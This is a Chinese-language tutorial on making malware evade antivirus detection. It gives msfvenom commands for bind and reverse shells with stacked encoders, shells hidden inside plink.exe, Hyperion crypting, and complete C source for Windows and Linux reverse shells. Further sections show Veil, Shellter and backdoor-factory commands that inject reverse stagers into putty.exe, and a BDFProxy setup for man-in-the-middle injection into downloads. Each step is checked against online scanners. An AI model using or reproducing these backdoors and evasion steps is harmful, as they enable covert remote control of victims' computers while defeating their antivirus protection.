免杀

一、免杀简介

1、恶意软件

病毒、木马、蠕虫、键盘激励、僵尸程序、流氓软件、勒索软件、广告程序
在用户非自愿的情况下执行安装
处于某种恶意的目的：控制、窃取、勒索、偷窥、推送、攻击……

2、防病毒软件

恶意程序最主要的防护手段
杀毒软件/防病毒软件
客户端/服务器/邮件防病毒
检测原理
基于二进制文件中特征签名的黑名单检测方法
基于行为的分析方法（启发式）
事后手段
永远落后于病毒发展

3、免杀技术

修改二进制文件中的特征字符
替换、擦除、修改
加密技术（crypter）
通过加密是的特征字符不可读，从而台币AV 检测
运行时分片分段的解密执行，注入进程或 AV 不检查的无害文件中
防病毒软件的检测
恶意程序本身的特征字符
加密器 cripter 的特征字符

4、当前现状

恶意软件制造者
编写私有的 RAT 软件，避免普遍被 AV 所知的特征字符
使用独有 crypter 软件加密恶意程序
处事低调，尽量避免被发现
没有能力自己编写恶意代码的黑客，通过直接修改特征码的方式免杀
Fully UnDetectable 还最高追求（FUD）
AV 厂商
广泛采集样本，尽快发现出现的病毒程序，更新病毒库
一般新的恶意软件安全 UD 窗口期是一周左右
与恶意软件制造者永无休止的拉锯战
信的启发式检测技术尚有待完善(误杀漏杀)
单一 AV 厂商的病毒库很难达到 100% 覆盖
https://www.virustotal.com/ 接口被某些国家的AV软禁免费利用，没有自己的病毒库
http://www.virscan.org/
在线多引擎查杀网站与 AV 查杀共享信息
在线多引擎查毒站
https://cn-sec.com/archives/552229.html
常用的 RAT 软件
灰鸽子、波尔、黑暗彗星、潘多拉、NanoCore

二、msfvenom工具

1、生成shell

生成未加密正向shell，lhost：目标机（靶机）IP，可不指定

msfvenom -p windows/shell/bind_tcp lhost=127.0.0.1 lport=4444 -a x86 --platform win -f exe -o test-1.exe
#-p 是payload  -a 目标机架构  -f 是生成的后门的格式  -o 是输出文件名

加密编码shell

msfvenom -p windows/shell/bind_tcp lhost=192.168.1.12 lport=4444 -f raw -e x86/shikata_ga_nai -i 5 | msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -b '\x00' -f exe -o test-2.exe  #-e 加密模块  -i 加密次数  -b 过滤掉特殊字符

可使用 strings 对比加密前后可读字符串

比较编码前后的检测率：http://www.virscan.org/language/zh-cn/

2、利用模板隐藏shell

也就是说通过将shell绑定到某些正常的软件（模板）上来隐藏自身。

未加密编码

msfvenom -p windows/shell_reverse_tcp -x /usr/share/windows-binaries/plink.exe lhost=192.168.1.12 lport=4444 -a x86 --platform win -f exe -o test-3.exe

加密编码

msfvenom -p windows/shell_reverse_tcp -x /usr/share/windows-binaries/plink.exe lhost=192.168.1.12 lport=4444 -e x86/shikata_ga_nai -i 5 -a x86 --platform win -f exe -o test-4.exe

在线查毒对比

三、加密免杀

软件开发商为保护版权，采用的混淆和加密技术避免盗版逆向
常被恶意软件用于免杀目的

1、Hyperion （32bit PE 程序加密器）

Crypter / Container（解密器 PE Loader ）

（1）kali自带的 Hyperion【推荐】

　　位置：/usr/share/windows-resources/hyperion

（2）自己编译安装【不推荐】

下载：https://github.com/nullsecuritynet/tools/blob/master/binary/hyperion/release/Hyperion-2.3.zip
编译生成加密器

若下载的是1.2版本可用以下命令生成

i686-w64-mingw32-g++ -static-libgcc -static-libstdc++ Src/Crypter/*.cpp -o en.exe   # -static-libgcc -static-libstdc++ 是exe执行会调用的动态库（此处是将这两个动态链接库静态编译进exe）

2.2，2.3版本可能的报错及解决方法

将makefile第1行cc=后面的gcc替换成i686-w64-mingw32-gcc。

重新make即可。

注意，这种方法生成的2.3版本的hyperion.exe在对shell加密时会出现以下问题，1.2版会出现动态链接库找不到的问题。

2、安装wine

apt-get install wine
#也可 dpkg --add-architecture i386 && apt-get update && apt-get install wine32 安装时间较长

3、生成shell

msfvenom -p windows/shell_reverse_tcp -x /usr/share/windows-binaries/plink.exe lhost=192.168.1.12 lport=4444 -e x86/shikata_ga_nai -i 5 -a x86 --platform win -f exe -o test-5.exe

4、加密shell

wine /usr/share/windows-resources/hyperion/hyperion.exe test-5.exe test-6.exe  #用hyperion.exe加密test-5.exe生成test-6.exe

5、strings 对比加密前后可读字符串

6、在线病毒检测对比

　　有些检测引擎对加密前的shell未检测出，反而对加密后的shell检测出了……

四、自己编写shell【推荐】

　　自动化工具生成或大多数人使用的shell，病毒库基本都有对应的特征码了，很容易被检测到，而自己编写的shell更容易绕过特征码。

1、Windows reverse shell 示例

win_reverse_shell.c

#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib,"ws2_32")

  WSADATA wsaData;
  SOCKET Winsock;
  SOCKET Sock;
  struct sockaddr_in hax;
  char ip_addr[16];
  STARTUPINFO ini_processo;
  PROCESS_INFORMATION processo_info;

int main(int argc, char *argv[])
{
    WSAStartup(MAKEWORD(2,2), &wsaData);
    Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);

    if (argc != 3){fprintf(stderr, "Uso: <rhost> <rport>\n"); exit(1);}
    struct hostent *host;
    host = gethostbyname(argv[1]);
    strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));

    hax.sin_family = AF_INET;
    hax.sin_port = htons(atoi(argv[2]));
    hax.sin_addr.s_addr = inet_addr(ip_addr);

    WSAConnect(Winsock,(SOCKADDR*)&hax,sizeof(hax),NULL,NULL,NULL,NULL);

    memset(&ini_processo,0,sizeof(ini_processo));
    ini_processo.cb=sizeof(ini_processo);
    ini_processo.dwFlags=STARTF_USESTDHANDLES;
    ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
    CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&ini_processo,&processo_info);
}

编译生成win_reverse_shell.exe

gcc.exe win_reverse_shell.c -o win_reverse_shell.exe -lws2_32

注，以前用过Cygwin64，一直没卸载，所以此处是用Cygwin64编译的，警告忽略。
kali下编译时会失败（未解决）

测试win_reverse_shell.exe
若提示"无法启动此程序，因为计算机中丢失 cygwin1.dll。尝试重新安装该程序及解决此问题"，把 Cygwin\cygwin64\bin 下的cygwin.dll复制到exe同一目录就可以了
Kali 开启侦听

目标机执行win_reverse_shell.exe

Kali 端状态

在线查杀检测

用 hyperion.exe 加密后检测

　　哎，，，看结果还不如不加密……

2、Linux reverse shell 示例

linux_reverse_shell.c

  #include <stdio.h>
  #include <sys/socket.h>
  #include <arpa/inet.h>
  #include <stdlib.h>
  #include <string.h>
  #include <unistd.h>
  #include <netinet/in.h>
  
  int main(int argc, char *argv[])
  {
      struct sockaddr_in sock;
      int s;
      if (argc != 3)
      {
          fprintf(stderr, "uso: <rhost> <rport>\n"); exit(1);
      }
      sock.sin_family  = AF_INET;
      sock.sin_port = htons(atoi(argv[2]));
      sock.sin_addr.s_addr = inet_addr(argv[1]);
      s = socket(AF_INET, SOCK_STREAM, 0);
      
      connect(s,(struct sockaddr_in *)&sock, sizeof(struct sockaddr_in));
      
      dup2(s,0);
      dup2(s,1);
      dup2(s,2);
      execl("/bin/sh","httpd",(char *)0); //precess httpd
  }

kali下编译

gcc linux_revers_shell.c -o linux_reverse_shell

测试

在线查杀检测

　　综上，还是推荐自己编写shell。

五、Veil 免杀工具

1、安装

sudo apt install veil
/usr/share/veil/config/setup.sh --force --silent

根据提示进行相应操作即可，如下图

　　注意，若出现以下类似报错，多执行几次"/usr/share/veil/config/setup.sh --force --silent"命令（多半是网络不稳定，建议挂代理执行）

"Failed to run (wine) Python pip pefile... Exit code: 1"报错的解决

解决方法：

vim /usr/share/veil/config/setup.sh 
#改587行的内容为下
sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine "${winedir}/drive_c/Python34/python.exe" "-m" "pip" "install" "-Iv" "pefile==2019.4.18"

改后

接着再执行

/usr/share/veil/config/setup.sh --force --silent

正常启动

2、veil-evasion 生成 payload 演示

示例-1：payload用python/meterpreter/rev_tcp.py

在线查杀测试

3、veil-catapult【了解，已停更】

实现payload的投递
集成veil-evasion生成免杀payload
使用impacket上传二进制payload文件
使用passing-the-hash执行payload
payload不写入硬盘，避免文件型病毒查杀

六、修改特征码免杀

　　前面已介绍免杀思路：编写新的shell，加密shell（Hyperion ），不写入硬盘直接投递到内存运行（veil-catapult）

　　新的思路是找到触发AV查杀的精确字符串，并修改

将执行程序分片成很多小片段
将包含MZ头的第一个片段与后续片段依次组合后交给AV查杀
重复以上步骤直至精确定位
工具：evade切片，ghex或hexeditor编辑16进制文件内容

演示

工具 Free File Splitter：https://www.softpedia.com/get/System/File-Management/Free-File-Splitter.shtml
28 Best Free File Splitter Software：https://listoffreeware.com/list-of-best-free-file-splitter-software/

七、shellter 免杀

代码混淆
定制的编码方式
多态编码
集成部分msf payload
使用正常的exe文件作为模板，将payload加入模板，会使exe原有功能损失

1、安装

apt-get install shellter

2、演示

以将 shell 加到 plink.exe为例

功能测试

在线查杀检测

360也未检出

八、backdoor-factory（BDF）免杀

1、简介

patch：本是通过替换 exe、dll、注册表等方法修复系统漏洞或问题的方法，但在BDF中是向二进制文件中增加或者删除代码内容，注意某些受保护的二进制程序无法 patch，且存在一定概率文件会被 patch坏掉
patch 选项，附加代码段，单代码洞注入，多代码洞注入
将 shellcode 代码 patch 进模板文件，躲避 AV 检查
将shellcode代码插入代码洞中（单个/多个代码洞）
将shellcode代码附加到模板文件后面
使用于 windows PE x32/64 和 linux ELF x32/64 （OSX）
支持 msf payload、自定义 payload
python 语言编写

2、msf 使用的 patch 方法

（1）覆盖程序入口

　　msfvenom -p windows/shell/reverse_tcp……

（2）创建新的线程执行 shellcode 并跳回原程序入口

　　msfvenom -p windows/shell/reverse_tcp –k #如图所示，增加代码片段跳转执行后跳回源程序入口

3、CTP 方法

增加新的代码段 section，与 msf 的-k 方法类似
使用现有的代码裂缝/洞（code cave）存放 shellcode
代码洞是二进制中超过两个字节的连续 x00 区域（代码片段间区域），根据统计判断代码洞是编译器在进行编译是造成的，不同的编译器造成的代码洞的大小不同。推荐文章：https://captmeelo.com/exploitdev/2018/07/16/backdoor101-part1.html

单个代码洞代销不足以存放完整的 shellcode，就多代码洞跳转（非顺序执行）如图所示，初期免杀率可达100%

结合 msf 的 stager 方法（附加代码段）

4、实例演示

（1）安装【基于 python2 环境】

pip2 的安装

wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
sudo python2 get-pip.py

　　老版本Kali（如kali-linux-2.0-amd64）已经安装好了 backdoor-factory及bdfproxy(后面会用到)，可以直接拿来用。新版本需要我们自己安装，方法如下：

方法一：

sudo apt install backdoor-factory

　　注意，kali部分版本自带的 backdoor-factory 并不能识别可执行文件，存在以下问题（backdoor-factory -f putty.exe -S）

方法二【推荐】：

git clone https://github.com/secretsquirrel/the-backdoor-factory.git
pip2 install capstone

　　直接运行会提示 "No module named pefile"

　　可以先尝试pip直接安装，不过可能会出错，如图：

　　可以先将 pefile 包下载下来手动安装（如图），注意下载的版本（因要安装在python2下）：https://github.com/erocarrera/pefile/releases/download/v2019.4.18/pefile-2019.4.18.tar.gz

　　再次运行后可能会提示 "No module named builtins"，可直接用 "pip2 install future" 安装或同 pefile 一样先下载相应包，再用 "python2 ./setup.py install" 安装。

　　future模块：https://files.pythonhosted.org/packages/8f/2e/cf6accf7415237d6faeeebdc7832023c90e0282aa16fd3263db0eb4715ec/future-0.18.3.tar.gz

最终结果

PE文件也能识别了

（2）以putty为例进行注入

检查二进制文件是否支持代码注入

./backdoor.py --file=../putty.exe -S  #-S：检查二进制文件是否支持代码注入

查找可用代码洞

./backdoor.py --file=../putty.exe -c -l 200 #查看裂痕， -c：code cave(代码裂缝)，-l：代码裂缝大小，不小于200

查看有效载荷

　./backdoor.py --file=../putty.exe -s show #-s SHELL, --shell=SHELL: 可以使用的有效负载。使用“show”来查看有效载荷

注入putty，以iat_reverse_tcp_stager_threaded为例，默认注入单代码洞，-J是注入多代码洞（需自主选择位置），-a在代码段后面新加个section注入代码

./backdoor.py --file=../putty.exe  -s iat_reverse_tcp_stager_threaded -H 192.168.159.129 -P 4444 -o putty-bdf.exe 
./backdoor.py --file=../putty.exe  -s iat_reverse_tcp_stager_threaded -H 192.168.159.129 -P 4444 -J -o putty-bdf-J.exe
./backdoor.py --file=../putty.exe  -s iat_reverse_tcp_stager_threaded -H 192.168.159.129 -P 4444 -a -o putty-bdf-a.exe

功效测试

#使用msf侦听
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.159.129
msf exploit(multi/handler) > set LPORT 4444
msf exploit(multi/handler) > run
#把putty放到靶机中，运行
#发现shell反弹
msf exploit(multi/handler) > sessions -i 1 #进入shell

　　发现个问题，注入时位置选的可能有问题，影响到原程序的正常执行了，更大的可能是putty的防护机制所致，，，

在线查杀检测
putty-bdf.exe（注入单代码洞）

putty-bdf-J.exe（注入多代码洞）

putty-bdf-a.exe （附加代码）

九、Bdfproxy 免杀

集成mitmproxy
基于流量劫持（中间人攻击）动态注入 shellcode （ARP spoof、DNS spoof、Fake AP）
示例，victim 要下载个 putty.exe，hacker 此时处于 victim 和 web站点中间，victim 和 web-severe 之间的通信流量会经过 hacker，hacker 检测到传向victim的流量（putty.exe）符合 bdf 的注入条件，此时会将 shellcode 注入 putty.exe，再将流量传给 victim，victim一旦执行putty.exe会触发反弹 shell。
启动路由功能进行流量劫持
代理端口是8080，故把所有流量都转到8080端口
启动bdfproxy，使得shell反弹
官网：https://github.com/secretsquirrel/BDFProxy

1、bdfproxy 安装

　　新版Kali未自带，需自行安装，基于 python2 环境

　　下载：git clone https://github.com/secretsquirrel/BDFProxy.git

　　建议根据执行提示，安装所缺模块 / 库，操作如下（务必注意版本）：

┌──(root㉿kali)-[~/Desktop/BDFProxy]
└─# python2 ./bdf_proxy.py             
Traceback (most recent call last):
  File "./bdf_proxy.py", line 34, in <module>
    from libmproxy import controller, proxy, platform
ImportError: No module named libmproxy

#mitmproxy下载：https://github.com/mitmproxy/mitmproxy
┌──(root㉿kali)-[~/Desktop/mitmproxy-0.16]
└─# python2 setup.py install           
………………………………
/usr/lib/python2.7/distutils/dist.py:267: UserWarning: Unknown distribution option: 'install_requires'
  warnings.warn(msg)
running install
running build
running build_py
creating build
creating build/lib.linux-x86_64-2.7
creating build/lib.linux-x86_64-2.7/libmproxy
copying libmproxy/dump.py -> build/lib.linux-x86_64-2.7/libmproxy
copying libmproxy/main.py -> build/lib.linux-x86_64-2.7/libmproxy
…………………………


┌──(root㉿kali)-[~/Desktop/BDFProxy]
└─# python2 ./bdf_proxy.py              
………………………………
ImportError: No module named netlib


#下载：https://files.pythonhosted.org/packages/a8/18/d77c7e19df289628358beb498bd1d4c0ac9ca65eade441878fff7b07155f/netlib-0.16.tar.gz
┌──(root㉿kali)-[~/Desktop/netlib-0.16]
└─# python2 setup.py install
…………………………
creating build/lib.linux-x86_64-2.7/netlib
copying netlib/utils.py -> build/lib.linux-x86_64-2.7/netlib
copying netlib/tutils.py -> build/lib.linux-x86_64-2.7/netlib
copying netlib/exceptions.py -> build/lib.linux-x86_64-2.7/netlib
………………………………

┌──(root㉿kali)-[~/Desktop/BDFProxy]
└─# python2 ./bdf_proxy.py   
……………………………………
ImportError: cannot import name ssl_match_hostname

#下载：https://distfiles.macports.org/py-backports-ssl_match_hostname/，注意版本
┌──(root㉿kali)-[~/Desktop]
└─# wget https://distfiles.macports.org/py-backports-ssl_match_hostname/backports.ssl_match_hostname-3.5.0.1.tar.gz
--2023-02-08 01:06:04--  https://distfiles.macports.org/py-backports-ssl_match_hostname/backports.ssl_match_hostname-3.5.0.1.tar.gz
Resolving distfiles.macports.org (distfiles.macports.org)... 151.101.2.132, 151.101.66.132, 151.101.130.132, ...
Connecting to distfiles.macports.org (distfiles.macports.org)|151.101.2.132|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5605 (5.5K) [application/x-gzip]
Saving to: ‘backports.ssl_match_hostname-3.5.0.1.tar.gz’

backports.ssl_match_hostname 100%[============================================>]   5.47K  --.-KB/s    in 0s      

2023-02-08 01:06:07 (24.6 MB/s) - ‘backports.ssl_match_hostname-3.5.0.1.tar.gz’ saved [5605/5605]

                                                                                                                  
┌──(root㉿kali)-[~/Desktop]
└─# tar -zxvf backports.ssl_match_hostname-3.5.0.1.tar.gz 
backports.ssl_match_hostname-3.5.0.1/…………………………………………

┌──(root㉿kali)-[~/Desktop]
└─# cd backports.ssl_match_hostname-3.5.0.1
                                                                                                                  
┌──(root㉿kali)-[~/Desktop/backports.ssl_match_hostname-3.5.0.1]
└─# python2 setup.py install
running install
running build
running build_py
creating build
creating build/lib.linux-x86_64-2.7
creating build/lib.linux-x86_64-2.7/backports
copying backports/__init__.py -> build/lib.linux-x86_64-2.7/backports


┌──(root㉿kali)-[~/Desktop/BDFProxy]
└─# python2 ./bdf_proxy.py
……………………………………
  File "/usr/lib/python2.7/dist-packages/cryptography/hazmat/primitives/constant_time.py", line 11, in <module>
    from cryptography.hazmat.bindings._constant_time import lib
ImportError: No module named _constant_time

┌──(root㉿kali)-[~/Desktop/backports.ssl_match_hostname-3.5.0.1]
└─# pip install cryptography
DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support pip 21.0 will remove support for this functionality.                                                                      
Collecting cryptography
  Downloading cryptography-3.3.2-cp27-cp27mu-manylinux2010_x86_64.whl (2.6 MB)
     |████████████████████████████████| 2.6 MB 853 kB/s 
Requirement already satisfied: cffi>=1.12 in /usr/lib/python2.7/dist-packages (from cryptography) (1.14.0)
Collecting ipaddress; python_version < "3"
  Downloading ipaddress-1.0.23-py2.py3-none-any.whl (18 kB)
Collecting six>=1.4.1
  Downloading six-1.16.0-py2.py3-none-any.whl (11 kB)
Collecting enum34; python_version < "3"
  Downloading enum34-1.1.10-py2-none-any.whl (11 kB)
Installing collected packages: ipaddress, six, enum34, cryptography
Successfully installed cryptography-3.3.2 enum34-1.1.10 ipaddress-1.0.23 six-1.16.0

┌──(root㉿kali)-[~/Desktop/BDFProxy]
└─# python2 ./bdf_proxy.py
…………………………………………
    from pyasn1.type import univ, constraint, char, namedtype, tag
ImportError: No module named pyasn1.type

┌──(root㉿kali)-[~/Desktop/backports.ssl_match_hostname-3.5.0.1]
└─# pip2 install pyasn1      
DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support pip 21.0 will remove support for this functionality.                                                                      
Collecting pyasn1
  Downloading pyasn1-0.4.8-py2.py3-none-any.whl (77 kB)
     |████████████████████████████████| 77 kB 754 kB/s 
Installing collected packages: pyasn1
Successfully installed pyasn1-0.4.8

┌──(root㉿kali)-[~/Desktop/BDFProxy]
└─# python2 ./bdf_proxy.py
………………………………………………
  File "/usr/local/lib/python2.7/dist-packages/netlib/utils.py", line 11, in <module>
    import hyperframe
ImportError: No module named hyperframe

┌──(root㉿kali)-[~/Desktop/backports.ssl_match_hostname-3.5.0.1]
└─# pip2 install hyperframe
DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support pip 21.0 will remove support for this functionality.                                                                      
Collecting hyperframe
  Downloading hyperframe-5.2.0-py2.py3-none-any.whl (12 kB)
Installing collected packages: hyperframe
Successfully installed hyperframe-5.2.0

┌──(root㉿kali)-[~/Desktop/BDFProxy]
└─# python2 ./bdf_proxy.py
……………………………………………………
  File "/usr/local/lib/python2.7/dist-packages/netlib/http/http2/connections.py", line 5, in <module>
    from hpack.hpack import Encoder, Decoder
ImportError: No module named hpack.hpack

┌──(root㉿kali)-[~/Desktop/backports.ssl_match_hostname-3.5.0.1]
└─# pip2 install hpack      
DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support pip 21.0 will remove support for this functionality.                                                                      
Collecting hpack
  Downloading hpack-3.0.0-py2.py3-none-any.whl (38 kB)
Installing collected packages: hpack
Successfully installed hpack-3.0.0


┌──(root㉿kali)-[~/Desktop/BDFProxy]
└─# python2 ./bdf_proxy.py
………………………………………………
    from construct import ConstructError
ImportError: No module named construct

#下载：https://pypi.org/project/construct/2.5.2/#files ，注意版本
┌──(root㉿kali)-[~/Desktop]
└─# wget https://files.pythonhosted.org/packages/fd/5a/e3105c79b3b0bbf7a80dc8218d7416df6551f9f2fe389c9ce6690a621c00/construct-2.5.2.tar.gz
--2023-02-08 01:53:18--  https://files.pythonhosted.org/packages/fd/5a/e3105c79b3b0bbf7a80dc8218d7416df6551f9f2fe389c9ce6690a621c00/construct-2.5.2.tar.gz
Resolving files.pythonhosted.org (files.pythonhosted.org)... 151.101.1.63, 151.101.65.63, 151.101.129.63, ...
Connecting to files.pythonhosted.org (files.pythonhosted.org)|151.101.1.63|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 58373 (57K) [application/octet-stream]
Saving to: ‘construct-2.5.2.tar.gz’

construct-2.5.2.tar.gz       100%[============================================>]  57.00K  --.-KB/s    in 0.09s   

2023-02-08 01:53:21 (619 KB/s) - ‘construct-2.5.2.tar.gz’ saved [58373/58373]
                                                                                                                  
┌──(root㉿kali)-[~/Desktop]
└─# tar -zxvf construct-2.5.2.tar.gz 
construct-2.5.2/
construct-2.5.2/construct.egg-info/…………………………………………
                                                                                                                  
┌──(root㉿kali)-[~/Desktop/construct-2.5.2]
└─# python2 setup.py install
/usr/lib/python2.7/distutils/dist.py:267: UserWarning: Unknown distribution option: 'install_requires'
  warnings.warn(msg)
running install
running build
running build_py
creating build
creating build/lib.linux-x86_64-2.7
creating build/lib.linux-x86_64-2.7/construct
copying construct/core.py -> build/lib.linux-x86_64-2.7/construct
copying construct/macros.py -> build/lib.linux-x86_64-2.7/construct
………………………………

┌──(root㉿kali)-[~/Desktop/BDFProxy]
└─# python2 ./bdf_proxy.py
………………………………
  File "/usr/local/lib/python2.7/dist-packages/libmproxy/protocol/http.py", line 11, in <module>
    from h2.exceptions import H2Error
ImportError: No module named h2.exceptions


┌──(root㉿kali)-[~/Desktop/construct-2.5.2]
└─# pip2 install h2                                 
DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support pip 21.0 will remove support for this functionality.                                                                      
Collecting h2
  Downloading h2-3.2.0-py2.py3-none-any.whl (65 kB)
     |████████████████████████████████| 65 kB 626 kB/s 
Requirement already satisfied: hpack<4,>=3.0 in /usr/local/lib/python2.7/dist-packages (from h2) (3.0.0)
Requirement already satisfied: hyperframe<6,>=5.2.0 in /usr/local/lib/python2.7/dist-packages (from h2) (5.2.0)
Requirement already satisfied: enum34<2,>=1.1.6; python_version == "2.7" in /usr/local/lib/python2.7/dist-packages (from h2) (1.1.10)
Installing collected packages: h2
Successfully installed h2-3.2.0


┌──(root㉿kali)-[~/Desktop/BDFProxy]
└─# python2 ./bdf_proxy.py
……………………………………
  File "/root/Desktop/BDFProxy/bdf/pebin.py", line 41, in <module>
    import pefile
ImportError: No module named pefile

#下载：https://src.fedoraproject.org/repo/pkgs/python-pefile/ 注意版本
┌──(root㉿kali)-[~/Desktop/pefile-2019.4.18]
└─# python2 setup.py install
…………………………
copying pefile.py -> build/lib.linux-x86_64-2.7
copying peutils.py -> build/lib.linux-x86_64-2.7
………………………………

┌──(root㉿kali)-[~/Desktop/BDFProxy]
└─# python2 ./bdf_proxy.py
……………………………………………………
  File "/usr/local/lib/python2.7/dist-packages/pefile.py", line 21, in <module>
    from builtins import bytes
ImportError: No module named builtins

┌──(root㉿kali)-[~/Desktop]
└─# wget https://files.pythonhosted.org/packages/8f/2e/cf6accf7415237d6faeeebdc7832023c90e0282aa16fd3263db0eb4715ec/future-0.18.3.tar.gz  
--2023-02-08 02:02:43--  https://files.pythonhosted.org/packages/8f/2e/cf6accf7415237d6faeeebdc7832023c90e0282aa16fd3263db0eb4715ec/future-0.18.3.tar.gz
Resolving files.pythonhosted.org (files.pythonhosted.org)... 151.101.77.63, 2a04:4e42::319, 2a04:4e42:200::319, ...
Connecting to files.pythonhosted.org (files.pythonhosted.org)|151.101.77.63|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 840896 (821K) [application/x-tar]
Saving to: ‘future-0.18.3.tar.gz’

future-0.18.3.tar.gz         100%[============================================>] 821.19K  1.60MB/s    in 0.5s    

2023-02-08 02:02:46 (1.60 MB/s) - ‘future-0.18.3.tar.gz’ saved [840896/840896]

                                                                                                                  
┌──(root㉿kali)-[~/Desktop]
└─# tar -zxvf future-0.18.3.tar.gz   
future-0.18.3/
future-0.18.3/setup.sh………………………………
                                                                                                                  
┌──(root㉿kali)-[~/Desktop/future-0.18.3]
└─# python2 setup.py install
…………………………
creating build/lib.linux-x86_64-2.7/future
copying src/future/__init__.py -> build/lib.linux-x86_64-2.7/future
creating build/lib.linux-x86_64-2.7/future/builtins
…………………………


┌──(root㉿kali)-[~/Desktop/BDFProxy]
└─# python2 ./bdf_proxy.py
…………………………………………
  File "/root/Desktop/BDFProxy/bdf/intel/intelCore.py", line 38, in <module>
    from capstone import *
ImportError: No module named capstone

┌──(root㉿kali)-[~/Desktop/future-0.18.3]
└─# pip2 install capstone
DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support pip 21.0 will remove support for this functionality.                                                                      
Collecting capstone
  Downloading capstone-4.0.2-py2.py3-none-manylinux1_x86_64.whl (2.1 MB)
     |████████████████████████████████| 2.1 MB 1.4 MB/s 
Installing collected packages: capstone
Successfully installed capstone-4.0.2

┌──(root㉿kali)-[~/Desktop/BDFProxy]
└─# python2 ./bdf_proxy.py
/usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
Traceback (most recent call last):
  File "./bdf_proxy.py", line 49, in <module>
    from configobj import ConfigObj
ImportError: No module named configobj

┌──(root㉿kali)-[~/Desktop/future-0.18.3]
└─# pip2 install configobj
DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support pip 21.0 will remove support for this functionality.                                                                      
Collecting configobj
  Downloading configobj-5.0.8-py2.py3-none-any.whl (36 kB)
Requirement already satisfied: six in /usr/local/lib/python2.7/dist-packages (from configobj) (1.16.0)
Installing collected packages: configobj
Successfully installed configobj-5.0.8

┌──(root㉿kali)-[~/Desktop/BDFProxy]
└─# ./bdf_proxy.py --help
/usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
[!] Writing resource script.
[!] Resource writen to bdfproxy_msf_resource.rc
[!] Configuring traffic forwarding
[*] Starting BDFProxy
[*]          !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
         ALERT: NEW VERSION AVAILABLE
         *** ONLY AVAILABLE TO SPONSORS ***
         SPONSOR THE NEXT VERSION HERE: https://github.com/sponsors/secretsquirrel
         Author:    Joshua Pitts
         Email:     the.midnite.runr[-at ]gmail<d o-t>com
         Twitter:   @ausernamedjosh
         SPONSOR THE NEXT VERSION HERE: https://github.com/sponsors/secretsquirrel
         !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
[*] Version: v0.3.8
[*] Author: @midnite_runr | the[.]midnite).(runr<at>gmail|.|com

　　总之，缺哪个安装哪个，不过有时候用 pip 直接安装可能会失败，需要单独下载安装包手动安装，另须注意版本，版本不对可能会引进新的问题，以 construct 为例，安装2.10.54和2.8.8都会报如下错误，换成2.5.2即可正常。

………………
File "/usr/local/lib/python2.7/dist-packages/libmproxy/contrib/tls/_constructs.py", line 7, in <module>
    from construct import (Array, Bytes, Struct, UBInt16, UBInt32, UBInt8, PascalString, Embed, TunnelAdapter, GreedyRange,
ImportError: cannot import name UBInt16

　　更换 construct 版本是发现个问题，直接用“uninstall”卸载会报错，，，如下

┌──(root㉿kali)-[~/Desktop/construct-2.8.8]
└─# pip2 uninstall construct        
DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support pip 21.0 will remove support for this functionality.                                                                      
Found existing installation: construct 2.10.54
ERROR: Cannot uninstall 'construct'. It is a distutils installed project and thus we cannot accurately determine which files belong to it which would lead to only a partial uninstall.

